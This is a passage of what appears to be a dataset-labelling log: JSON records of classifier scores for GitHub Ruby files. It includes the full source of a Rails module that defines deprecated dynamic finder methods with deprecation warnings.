0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10739, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10739, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:16.221046+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "aa196fc3-f547-4ecf-b307-0898457d65d3", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "b566c201abee1ffdfd79a399c968457f2a38209fcdd09a3add2e6dea213386dc", "source_metadata": {"uuid": "aa196fc3-f547-4ecf-b307-0898457d65d3", "repo_name": "kenta-crv/payrent", "relative_path": "app/controllers/estimates_controller.rb", "category": "WEB", "algo_rel_score": 0.9807037115097046, "quality_score": 4.485350608825684, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 215, "repo_created_at": "2024-03-25T06:34:52.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "937f566769c7c89f805a5db527e4cfe3619ef7fc", "size_bytes": 8702, "file_timestamp": 1716185315, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "69d41021ba12253b780739726242ae11e50aefed"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 215, "repo_created_at": "2024-03-25T06:34:52.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "937f566769c7c89f805a5db527e4cfe3619ef7fc", "size_bytes": 8702, "file_timestamp": 1716185315, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "69d41021ba12253b780739726242ae11e50aefed", "url": "https://github.com/kenta-crv/payrent/blob/69d41021ba12253b780739726242ae11e50aefed/app/controllers/estimates_controller.rb"}, "gpt4o_tokens": 2231, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.24865693077866638, "noise_severity": 0.03359352095053498, "missing_content_severity": 0.019615674715454494, "factual_density": 3.349559654136788, "pretraining_utility": 0.41672473515445, "math_density": 0.009887912148834558, "code_density": 3.9523938802972802, "reasoning_density": 0.38242988291456564, "education_level": 2.2193040148307364, "creative_writing_quality": -0.440009799185891}, "score_applicability": {"education_level": 0.9988900114454174, "creative_writing_quality": 0.000692628499808723}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/rails/activerecord-deprecated_finders/blob/041c83c9dce8e17b8e1216adfaff48cc9debac02/lib/active_record/deprecated_finders/dynamic_matchers.rb", "id": "ruby-0-a09e590722dd94b655631f6c79a36d33", "text": "require 'active_support/deprecation'\n\nmodule ActiveRecord\n module DynamicMatchers\n module DeprecatedFinder\n def body\n <<-CODE\n result = #{super}\n result && block_given? ? yield(result) : result\n CODE\n end\n\n def result\n \"all.apply_finder_options(options, true).#{super}\"\n end\n\n def signature\n \"#{super}, options = {}\"\n end\n end\n\n module DeprecationWarning\n def body\n \"#{deprecation_warning}\\n#{super}\"\n end\n\n def deprecation_warning\n %{ActiveSupport::Deprecation.warn(\"This dynamic method is deprecated. Please use e.g. #{deprecation_alternative} instead.\")}\n end\n end\n\n module FindByDeprecationWarning\n def body\n <<-CODE\n if block_given?\n ActiveSupport::Deprecation.warn(\"Calling find_by or find_by! methods with a block is deprecated with no replacement.\")\n end\n\n unless options.empty?\n ActiveSupport::Deprecation.warn(\n \"Calling find_by or find_by! methods with options is deprecated. \" \\\n \"Build a scope instead, e.g. User.where('age > 21').find_by_name('Jon').\"\n )\n end\n\n #{super}\n CODE\n end\n end\n\n class FindBy\n include DeprecatedFinder\n include FindByDeprecationWarning\n end\n\n class FindByBang\n include DeprecatedFinder\n include FindByDeprecationWarning\n end\n\n class FindAllBy < Method\n Method.matchers << self\n include Finder\n include DeprecatedFinder\n include DeprecationWarning\n\n def self.prefix\n \"find_all_by\"\n end\n\n def finder\n \"where\"\n end\n\n def result\n \"#{super}.to_a\"\n end\n\n def deprecation_alternative\n \"Post.where(...).all\"\n end\n end\n\n class FindLastBy < Method\n Method.matchers << self\n include Finder\n include DeprecatedFinder\n include DeprecationWarning\n\n def self.prefix\n \"find_last_by\"\n end\n\n def finder\n \"where\"\n end\n\n def result\n \"#{super}.last\"\n end\n\n def deprecation_alternative\n \"Post.where(...).last\"\n end\n end\n\n class ScopedBy < Method\n Method.matchers << self\n include Finder\n include DeprecationWarning\n\n def self.prefix\n \"scoped_by\"\n end\n\n def body\n \"#{deprecation_warning} \\n where(#{attributes_hash})\"\n end\n\n def deprecation_alternative\n \"Post.where(...)\"\n end\n end\n\n class Instantiator < Method\n include DeprecationWarning\n\n def self.dispatch(klass, attribute_names, instantiator, args, block)\n if args.length == 1 && args.first.is_a?(Hash)\n attributes = args.first.stringify_keys\n conditions = attributes.slice(*attribute_names)\n rest = [attributes.except(*attribute_names)]\n else\n raise ArgumentError, \"too few arguments\" unless args.length >= attribute_names.length\n\n conditions = Hash[attribute_names.map.with_index { |n, i| [n, args[i]] }]\n rest = args.drop(attribute_names.length)\n end\n\n klass.where(conditions).first ||\n klass.create_with(conditions).send(instantiator, *rest, &block)\n end\n\n def signature\n \"*args, &block\"\n end\n\n def body\n <<-CODE\n #{deprecation_warning}\n #{self.class}.dispatch(self, #{attribute_names.inspect}, #{instantiator.inspect}, args, block)\n CODE\n end\n\n def instantiator\n raise NotImplementedError\n end\n\n def deprecation_alternative\n \"Post.#{self.class.prefix}#{self.class.suffix}(name: 'foo')\"\n end\n end\n\n class FindOrInitializeBy < Instantiator\n Method.matchers << self\n\n def self.prefix\n \"find_or_initialize_by\"\n end\n\n def instantiator\n \"new\"\n end\n end\n\n class FindOrCreateBy < Instantiator\n Method.matchers << self\n\n def self.prefix\n \"find_or_create_by\"\n end\n\n def instantiator\n \"create\"\n end\n end\n\n class FindOrCreateByBang < Instantiator\n Method.matchers << self\n\n def self.prefix\n \"find_or_create_by\"\n end\n\n def self.suffix\n \"!\"\n end\n\n def instantiator\n \"create!\"\n end\n end\n end\nend\n", "text_preview": "require 'active_support/deprecation' module ActiveRecord module DynamicMatchers module DeprecatedFinder def body <<-CODE result = #{super} result && block_given? ? yield(result) : result CODE end def result \"all.apply_finder_options(options", "input_sha256": "da148e5c1707768c0a38cd9819c499cffb327bc98dab40d8e9a848acd775e03e", "text_sha256": "a09e590722dd94b655631f6c79a36d333771b81041467b7cd3d124b5d72e1862", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16083, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.299917940294858, "noise_severity": 0.006969292674847832, "missing_content_severity": 0.036543605569079596, "factual_density": 3.508282579478758, "pretraining_utility": 0.38091801553320287, "math_density": 0.05079061466934684, "code_density": 3.9487830626263913, "reasoning_density": 0.36443796841002213, "education_level": 2.809321275319674, "creative_writing_quality": -0.11829463414755413}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.003095001949656395, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9981684947873772, "secondary": 0.9913721162814759, "tertiary": 0.9946016835332913, "structured_records": 0.048526993200252944, "procedural_steps": 0.001071861489939286, "worked_solution": 0.0010811939512379212, "contextual_dialogue": 4.047913314553782e-06, "content_quality": 0.5847117541373996, "noise_severity": 0.9941922561042935, "missing_content_severity": 0.9695469953591004, "factual_density": 0.5902354828989651, "pretraining_utility": 0.46512717144973315, "math_density": 0.9576744877755443, "code_density": 0.9573192188553257, "reasoning_density": 0.6963016929916481, "education_level": 0.4735039083598037, "creative_writing_quality": 0.9996795029478852, "primary_topic": 0.9985086592485712, "secondary_topic": 0.9886357087961877}, "probability_margin": {"primary": 0.9974469718520432, "secondary": 0.9875118860437945, "tertiary": 0.9927567641601047, "education_level": 0.2549266138809328, "creative_writing_quality": 0.9996032586997288, "primary_topic": 0.9979326485836898, "secondary_topic": 0.9810735991807228}, "raw_probabilities": {"primary": {"Academic Writing": 1.8577904975201654e-05, "Content Listing": 1.4278256817823971e-05, "Creative Writing": 7.700007941632741e-06, "Customer Support Page": 7.374249722439761e-06, "Q&A Forum": 5.914905822416151e-06, "Discussion Thread": 3.931987939293845e-06, "Comment Section": 5.705153805361465e-06, "Missing Content": 1.2928684669929723e-05, "Knowledge Article": 6.869497058857131e-05, "Legal Notices": 1.91649623362031e-05, "News Article": 2.8726874980573164e-06, "Organizational Announcement": 9.332946432417029e-06, "Nonfiction Writing": 5.651170904593519e-06, "Organizational About Page": 6.8068430514526444e-06, "Personal About Page": 3.881537861023318e-06, "Personal Blog": 3.7173938022000213e-06, "Product Page": 4.100874587408354e-06, "Spam / Ads": 5.208553362767383e-06, "Structured Data": 0.000651129770425218, "Technical Writing": 0.9982448075045699, "Transcript / Interview": 8.14552805231568e-06, "Tutorial / How-To Guide": 8.903390285575535e-05, "User Reviews": 3.20454945129771e-06, "Other / Unknown": 0.0007978356525266637}, "secondary": {"Academic Writing": 6.566247525627612e-05, "Content Listing": 5.2543105746213227e-05, "Creative Writing": 4.66330356922273e-05, "Customer Support Page": 5.4314811708489244e-05, "Q&A Forum": 1.829494019356672e-05, "Discussion Thread": 1.704751541234207e-05, "Comment Section": 3.644111299862235e-05, "Missing Content": 0.00021065161049177946, "Knowledge Article": 0.0005656849095602548, "Legal Notices": 0.00033136278707706214, "News Article": 3.394326191634641e-05, "Organizational Announcement": 6.991764177312805e-05, "Nonfiction Writing": 2.943773115555164e-05, "Organizational About Page": 3.412264777481916e-05, "Personal About Page": 2.227533638062538e-05, "Personal Blog": 2.021762635736759e-05, "Product Page": 1.5244257049312254e-05, "Spam / Ads": 3.480566302901809e-05, "Structured Data": 0.001993823691332756, "Technical Writing": 0.004219725392619945, "Transcript / Interview": 3.766101992107092e-05, "Tutorial / How-To Guide": 0.0003460360801557504, "User Reviews": 1.2541909983004245e-05, "NONE": 0.9917316114364144}, "tertiary": {"Academic Writing": 4.5384658553920426e-05, "Content Listing": 4.838692213728724e-05, "Creative Writing": 4.0095464641041545e-05, "Customer Support Page": 7.060581671910789e-05, "Q&A Forum": 1.4230857948166584e-05, "Discussion Thread": 1.2632658792146405e-05, "Comment Section": 3.261098546976504e-05, "Missing Content": 0.00014319675562251893, "Knowledge Article": 0.0005003415929700655, "Legal Notices": 0.0004872851508068855, "News Article": 2.7454355436758485e-05, "Organizational Announcement": 8.146346344564608e-05, "Nonfiction Writing": 2.6023273423359672e-05, "Organizational About Page": 3.073283479685685e-05, "Personal About Page": 1.6625646822160965e-05, "Personal Blog": 1.7548413717100863e-05, "Product Page": 1.5753731296767405e-05, "Spam / Ads": 3.412806013525149e-05, "Structured Data": 0.0011097821895812005, "Technical Writing": 0.0020698492259660414, "Transcript / Interview": 2.9198682872358595e-05, "Tutorial / How-To Guide": 0.000308743720177231, "User Reviews": 1.1312152597583395e-05, "NONE": 0.9948266133860708}, "structured_records": {"false": 0.951473006799747, "true": 0.048526993200252944}, "procedural_steps": {"false": 0.9989281385100607, "true": 0.001071861489939286}, "worked_solution": {"false": 0.998918806048762, "true": 0.0010811939512379212}, "contextual_dialogue": {"false": 0.9999959520866855, "true": 4.047913314553782e-06}, "content_quality": {"-2": 0.002875818112827889, "-1": 0.005536701445889019, "0": 0.07951312013986961, "1": 0.5129424426364243, "2": 0.3991319176649892}, "noise_severity": {"0": 0.9941105789732486, "1": 0.005193630312524528, "2": 0.00041442251504029043, "3": 0.0001786554645039381, "4": 0.00010271273468272713}, "missing_content_severity": {"0": 0.9711296867293365, "1": 0.022973915155784366, "2": 0.004484126352254677, "3": 0.001047649341711733, "4": 0.0003646224209126688}, "factual_density": {"0": 0.0030702719579664616, "1": 0.005080398121520488, "2": 0.05414599518449869, "3": 0.3559031479558172, "4": 0.5818001867801972}, "pretraining_utility": {"-2": 0.008563669713324144, "-1": 0.11333734993691036, "0": 0.4387694214965694, "1": 0.36727641280963075, "2": 0.07205314604356539}, "math_density": {"0": 0.9700069407030248, "1": 0.02128100097029897, "2": 0.0018886286991700338, "3": 0.0015613622093173358, "4": 0.005262067418188951}, "code_density": {"0": 0.0001683163185784231, "1": 0.00032901633318672816, "2": 0.0047742819581001765, "3": 0.04000805918353502, "4": 0.9547203262065997}, "reasoning_density": {"0": 0.7950380124707414, "1": 0.08832938202514264, "2": 0.08391682766344764, "3": 0.02258818030468981, "4": 0.010127597535978706}, "education_level": {"none": 0.0010218203000373928, "0": 0.0011067847678626252, "1": 0.00370946092651032, "2": 0.3063266430855703, "3": 0.5612532569665031, "4": 0.12658203395351622}, "creative_writing_quality": {"not_applicable": 0.9997329191232377, "-2": 3.021663578715205e-05, "-1": 4.698173091807761e-05, "0": 0.00012966042350893444, "1": 4.462340520864807e-05, "2": 1.5598681339654803e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.5277911598615664e-05, "Art & Design": 2.2670699580904404e-05, "Law & Crime": 1.4948085708683662e-05, "Education & Careers": 1.799362604955328e-05, "Entertainment & Media": 1.1548633703827796e-05, "Fashion & Beauty": 7.502608500925375e-06, "Business, Economics & Finance": 1.9210340559010077e-05, "Food & Dining": 1.0281666906426823e-05, "Games & Gaming": 2.6999488716163902e-05, "Electronics & Hardware": 5.082106573699764e-05, "Health, Healthcare & Wellness": 1.0184943794069753e-05, "History & Geography": 1.2846300108872607e-05, "Home, Pets & Hobbies": 1.0132879022026912e-05, "Industry & Production": 1.3378468733289075e-05, "Language, Literature & Philosophy": 4.303287672275686e-05, "Politics & Government": 1.0108093602696063e-05, "Religion & Spirituality": 1.4804230548986299e-05, "Science, Mathematics & Engineering": 0.00019534514200610038, "Relationships & Community": 9.752094770038618e-06, "Software Usage & Applications": 0.0006333699245517338, "Programming & Software Engineering": 0.9985660185082416, "Sports & Fitness": 2.4369742132441218e-05, "Vehicles & Transportation": 4.144946541063088e-05, "Travel & Tourism": 2.5601222284385076e-05, "Other / Uncovered Subject": 0.00012885889851611484, "Unknown / Insufficient Content": 5.3493082493133246e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 8.984861991875126e-05, "Art & Design": 4.809240891909271e-05, "Law & Crime": 6.05296270253302e-05, "Education & Careers": 5.4933548349580916e-05, "Entertainment & Media": 4.601433657539101e-05, "Fashion & Beauty": 2.581185118357483e-05, "Business, Economics & Finance": 5.3811166891976086e-05, "Food & Dining": 2.236625228811425e-05, "Games & Gaming": 4.848132161215875e-05, "Electronics & Hardware": 6.347738027663663e-05, "Health, Healthcare & Wellness": 2.5413674944535946e-05, "History & Geography": 2.583939898069727e-05, "Home, Pets & Hobbies": 1.7602404988362624e-05, "Industry & Production": 2.0269588134869533e-05, "Language, Literature & Philosophy": 5.088077076067413e-05, "Politics & Government": 2.736539306569169e-05, "Religion & Spirituality": 3.387569081443523e-05, "Science, Mathematics & Engineering": 0.00031510399622634925, "Relationships & Community": 1.7774094587274844e-05, "Software Usage & Applications": 0.001712917122417339, "Programming & Software Engineering": 0.007999197738688433, "Sports & Fitness": 2.8056267565571272e-05, "Vehicles & Transportation": 1.4705978368675328e-05, "Travel & Tourism": 4.55433570343854e-05, "Other / Uncovered Subject": 7.929109097085106e-05, "NONE": 0.9890727969194112}}, "probabilities": {"primary": {"Academic Writing": 1.8577904975201658e-05, "Content Listing": 1.4278256817823973e-05, "Creative Writing": 7.700007941632743e-06, "Customer Support Page": 7.374249722439762e-06, "Q&A Forum": 5.914905822416152e-06, "Discussion Thread": 3.931987939293846e-06, "Comment Section": 5.7051538053614654e-06, "Missing Content": 1.2928684669929725e-05, "Knowledge Article": 6.869497058857132e-05, "Legal Notices": 1.9164962336203104e-05, "News Article": 2.872687498057317e-06, "Organizational Announcement": 9.33294643241703e-06, "Nonfiction Writing": 5.65117090459352e-06, "Organizational About Page": 6.806843051452645e-06, "Personal About Page": 3.881537861023319e-06, "Personal Blog": 3.7173938022000217e-06, "Product Page": 4.100874587408355e-06, "Spam / Ads": 5.2085533627673835e-06, "Structured Data": 0.0006511297704252182, "Technical Writing": 0.99824480750457, "Transcript / Interview": 8.145528052315682e-06, "Tutorial / How-To Guide": 8.903390285575537e-05, "User Reviews": 3.2045494512977104e-06, "Other / Unknown": 0.0007978356525266638}, "secondary": {"Academic Writing": 6.566247525627612e-05, "Content Listing": 5.2543105746213227e-05, "Creative Writing": 4.66330356922273e-05, "Customer Support Page": 5.4314811708489244e-05, "Q&A Forum": 1.829494019356672e-05, "Discussion Thread": 1.704751541234207e-05, "Comment Section": 3.644111299862235e-05, "Missing Content": 0.00021065161049177946, "Knowledge Article": 0.0005656849095602548, "Legal Notices": 0.00033136278707706214, "News Article": 3.394326191634641e-05, "Organizational Announcement": 6.991764177312805e-05, "Nonfiction Writing": 2.943773115555164e-05, "Organizational About Page": 3.412264777481916e-05, "Personal About Page": 2.227533638062538e-05, "Personal Blog": 2.021762635736759e-05, "Product Page": 1.5244257049312254e-05, "Spam / Ads": 3.480566302901809e-05, "Structured Data": 0.001993823691332756, "Technical Writing": 0.004219725392619945, "Transcript / Interview": 3.766101992107092e-05, "Tutorial / How-To Guide": 0.0003460360801557504, "User Reviews": 1.2541909983004245e-05, "NONE": 0.9917316114364144}, "tertiary": {"Academic Writing": 4.5384658553920426e-05, "Content Listing": 4.838692213728724e-05, "Creative Writing": 4.0095464641041545e-05, "Customer Support Page": 7.060581671910789e-05, "Q&A Forum": 1.4230857948166584e-05, "Discussion Thread": 1.2632658792146405e-05, "Comment Section": 3.261098546976504e-05, "Missing Content": 0.00014319675562251893, "Knowledge Article": 0.0005003415929700655, "Legal Notices": 0.0004872851508068855, "News Article": 2.7454355436758485e-05, "Organizational Announcement": 8.146346344564608e-05, "Nonfiction Writing": 2.6023273423359672e-05, "Organizational About Page": 3.073283479685685e-05, "Personal About Page": 1.6625646822160965e-05, "Personal Blog": 1.7548413717100863e-05, "Product Page": 1.5753731296767405e-05, "Spam / Ads": 3.412806013525149e-05, "Structured Data": 0.0011097821895812005, "Technical Writing": 0.0020698492259660414, "Transcript / Interview": 2.9198682872358595e-05, "Tutorial / How-To Guide": 0.000308743720177231, "User Reviews": 1.1312152597583395e-05, "NONE": 0.9948266133860708}, "structured_records": {"false": 0.951473006799747, "true": 0.048526993200252944}, "procedural_steps": {"false": 0.9989281385100607, "true": 0.001071861489939286}, "worked_solution": {"false": 0.998918806048762, "true": 0.0010811939512379212}, "contextual_dialogue": {"false": 0.9999959520866855, "true": 4.047913314553782e-06}, "content_quality": {"-2": 0.002875818112827889, "-1": 0.005536701445889019, "0": 0.07951312013986961, "1": 0.5129424426364243, "2": 0.3991319176649892}, "noise_severity": {"0": 0.9941105789732486, "1": 0.005193630312524528, "2": 0.00041442251504029043, "3": 0.0001786554645039381, "4": 0.00010271273468272713}, "missing_content_severity": {"0": 0.9711296867293365, "1": 0.022973915155784366, "2": 0.004484126352254677, "3": 0.001047649341711733, "4": 0.0003646224209126688}, "factual_density": {"0": 0.0030702719579664616, "1": 0.005080398121520488, "2": 0.05414599518449869, "3": 0.3559031479558172, "4": 0.5818001867801972}, "pretraining_utility": {"-2": 0.008563669713324144, "-1": 0.11333734993691036, "0": 0.4387694214965694, "1": 0.36727641280963075, "2": 0.07205314604356539}, "math_density": {"0": 0.9700069407030246, "1": 0.021281000970298967, "2": 0.0018886286991700333, "3": 0.0015613622093173353, "4": 0.00526206741818895}, "code_density": {"0": 0.0001683163185784231, "1": 0.00032901633318672816, "2": 0.0047742819581001765, "3": 0.04000805918353502, "4": 0.9547203262065997}, "reasoning_density": {"0": 0.7950380124707411, "1": 0.08832938202514262, "2": 0.08391682766344763, "3": 0.022588180304689807, "4": 0.010127597535978704}, "education_level": {"none": 0.001021820300037393, "0": 0.0011067847678626255, "1": 0.0037094609265103206, "2": 0.30632664308557034, "3": 0.5612532569665032, "4": 0.12658203395351625}, "creative_writing_quality": {"not_applicable": 0.9997329191232375, "-2": 3.021663578715204e-05, "-1": 4.69817309180776e-05, "0": 0.0001296604235089344, "1": 4.4623405208648065e-05, "2": 1.55986813396548e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.5277911598615667e-05, "Art & Design": 2.2670699580904408e-05, "Law & Crime": 1.4948085708683663e-05, "Education & Careers": 1.7993626049553282e-05, "Entertainment & Media": 1.1548633703827797e-05, "Fashion & Beauty": 7.502608500925376e-06, "Business, Economics & Finance": 1.921034055901008e-05, "Food & Dining": 1.0281666906426825e-05, "Games & Gaming": 2.6999488716163906e-05, "Electronics & Hardware": 5.0821065736997646e-05, "Health, Healthcare & Wellness": 1.0184943794069755e-05, "History & Geography": 1.2846300108872608e-05, "Home, Pets & Hobbies": 1.0132879022026914e-05, "Industry & Production": 1.3378468733289077e-05, "Language, Literature & Philosophy": 4.303287672275687e-05, "Politics & Government": 1.0108093602696065e-05, "Religion & Spirituality": 1.48042305489863e-05, "Science, Mathematics & Engineering": 0.0001953451420061004, "Relationships & Community": 9.75209477003862e-06, "Software Usage & Applications": 0.000633369924551734, "Programming & Software Engineering": 0.9985660185082417, "Sports & Fitness": 2.436974213244122e-05, "Vehicles & Transportation": 4.144946541063089e-05, "Travel & Tourism": 2.560122228438508e-05, "Other / Uncovered Subject": 0.00012885889851611487, "Unknown / Insufficient Content": 5.349308249313325e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 8.984861991875127e-05, "Art & Design": 4.809240891909272e-05, "Law & Crime": 6.0529627025330206e-05, "Education & Careers": 5.493354834958092e-05, "Entertainment & Media": 4.6014336575391015e-05, "Fashion & Beauty": 2.5811851183574834e-05, "Business, Economics & Finance": 5.381116689197609e-05, "Food & Dining": 2.2366252288114254e-05, "Games & Gaming": 4.848132161215876e-05, "Electronics & Hardware": 6.347738027663664e-05, "Health, Healthcare & Wellness": 2.541367494453595e-05, "History & Geography": 2.5839398980697274e-05, "Home, Pets & Hobbies": 1.7602404988362628e-05, "Industry & Production": 2.0269588134869536e-05, "Language, Literature & Philosophy": 5.088077076067414e-05, "Politics & Government": 2.7365393065691693e-05, "Religion & Spirituality": 3.3875690814435234e-05, "Science, Mathematics & Engineering": 0.0003151039962263493, "Relationships & Community": 1.7774094587274848e-05, "Software Usage & Applications": 0.0017129171224173393, "Programming & Software Engineering": 0.007999197738688435, "Sports & Fitness": 2.8056267565571276e-05, "Vehicles & Transportation": 1.470597836867533e-05, "Travel & Tourism": 4.554335703438541e-05, "Other / Uncovered Subject": 7.929109097085107e-05, "NONE": 0.9890727969194113}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9551, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9551, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:16.282523+00:00", "scoring_key_slot": "primary", "dataset_uid": "31005123-f547-452e-96d1-3de17d1f1a24", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "2ee3d6f9e485769460b9d60840cad082332198b6a5888187b601a051feb09aab", "source_metadata": {"uuid": "31005123-f547-452e-96d1-3de17d1f1a24", "repo_name": "rails/activerecord-deprecated_finders", "relative_path": "lib/active_record/deprecated_finders/dynamic_matchers.rb", "category": "TOOL", "algo_rel_score": 0.9299236536026001, "quality_score": 6.5884599685668945, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 125, "repo_created_at": "2012-03-30T16:00:18.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 70, "forks": 21, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "0eda9dfe41bc7631fbbb5a08fed1acf52058456a", "size_bytes": 4377, "file_timestamp": 1434162804, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "041c83c9dce8e17b8e1216adfaff48cc9debac02"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 125, "repo_created_at": "2012-03-30T16:00:18.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 70, "forks": 21, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "0eda9dfe41bc7631fbbb5a08fed1acf52058456a", "size_bytes": 4377, "file_timestamp": 1434162804, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "041c83c9dce8e17b8e1216adfaff48cc9debac02", "url": "https://github.com/rails/activerecord-deprecated_finders/blob/041c83c9dce8e17b8e1216adfaff48cc9debac02/lib/active_record/deprecated_finders/dynamic_matchers.rb"}, "gpt4o_tokens": 1027, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.299917940294858, "noise_severity": 0.006969292674847832, "missing_content_severity": 0.036543605569079596, "factual_density": 3.508282579478758, "pretraining_utility": 0.38091801553320287, "math_density": 0.05079061466934685, "code_density": 3.9487830626263913, "reasoning_density": 